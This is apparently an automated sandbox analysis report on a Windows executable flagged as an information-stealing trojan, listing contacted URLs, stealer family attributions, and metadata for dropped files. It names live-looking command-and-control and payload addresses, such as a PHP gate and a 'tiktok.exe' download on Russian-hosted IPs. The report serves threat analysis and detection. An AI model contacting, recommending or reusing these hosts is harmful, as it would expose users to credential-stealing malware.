https://duckduckgo.com/ac/?q=	w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	false		high
http://185.1	w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026EFB000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	low
http://185.172.128.76/3cBn	w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026EFB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.11.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmp, w3WOJ1ohgD.exe, 00000000.00000003.1712798489.0000000020DDD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmp, w3WOJ1ohgD.exe, 00000000.00000003.1712798489.0000000020DDD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.phpt	w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026EFB000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CAAKFIIDGIEHIDGCGHIIECGIJK.0.dr	false		high
http://185.172.128.203/tiktok.exe00	w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/nss3.dll$z	w3WOJ1ohgD.exe, 00000000.00000002.2070492271.0000000000A54000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.phpVDW	w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026ED1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.76/3cd2b41cbde8fc9c.php71bb574811636c15fa1a905272a27release79d524d37ca609991fe296	w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	false		high
http://185.172.128.203/tiktok.exet-Disposition:	w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmp	false		high
https://support.mozilla.org	CAAKFIIDGIEHIDGCGHIIECGIJK.0.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.172.128.76	w3WOJ1ohgD.exe, 00000000.00000002.2070401885.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp	true	10%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	false		high
http://185.172.128.76/3cd2b4Mn?	w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026EFB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	w3WOJ1ohgD.exe, 00000000.00000002.2095378961.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, w3WOJ1ohgD.exe, 00000000.00000002.2084129706.000000001AE5D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.172.128.203	unknown	Russian Federation		50916	NADYMSS-ASRU	false
185.172.128.76	unknown	Russian Federation		50916	NADYMSS-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431628
Start date and time:	2024-04-25 14:41:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	w3WOJ1ohgD.exe renamed because original name is a hash value
Original Sample Name:	678d5e7b91062c3b4c1ea39343cda69a.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@7/42@0/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 81 Number of non-executed functions: 110
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, MoUsoCoreWorker.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:42:40	API Interceptor	1x Sleep call for process: WerFault.exe modified
14:43:04	API Interceptor	7249818x Sleep call for process: FBKJDGCGDA.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.172.128.203	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.203/tiktok.exe
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.203/tiktok.exe
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	185.172.128.203/dl.php
185.172.128.76	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	QEO2mJ8xHx.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	j36lCJ7IcT.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	YY8EqpwVDY.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	bhhPvHM59A.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	tt1pR7pJbF.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	kOX6mvvEZv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	EvRwwa6vJW.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php
	6wBnmIAQNW.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.76/3cd2b41cbde8fc9c.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	http://185.172.128.63/v8sjh3hs8/index.php	Get hash	malicious	Unknown	Browse	185.172.128.63
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	185.172.128.19
	QEO2mJ8xHx.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.59
	j36lCJ7IcT.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	YY8EqpwVDY.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	bhhPvHM59A.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.59
NADYMSS-ASRU	http://185.172.128.63/v8sjh3hs8/index.php	Get hash	malicious	Unknown	Browse	185.172.128.63
	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse	185.172.128.203
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	185.172.128.19
	QEO2mJ8xHx.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.59
	j36lCJ7IcT.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	YY8EqpwVDY.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	bhhPvHM59A.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.59

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	Vk2yYa9dHl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	MBSetup.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	R0hb7jyBcv.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse
	g77dRQ1Csm.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	Vk2yYa9dHl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	MBSetup.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CAAKFIIDGIEHIDGCGHIIECGIJK

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAECAECFCAAEBFHIEHDGHDHCBA

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DVWHKMNFNN.xlsx

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\ProgramData\FENIVHOIKN.docx

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\ProgramData\FENIVHOIKN.xlsx

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\ProgramData\GIDBKKKKKFBGDGDHIDBG

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIIJDAAAAAAKECBFBAE

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJDAKFBF

Download File

Process:	C:\Users\user\Desktop\w3WOJ1ohgD.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
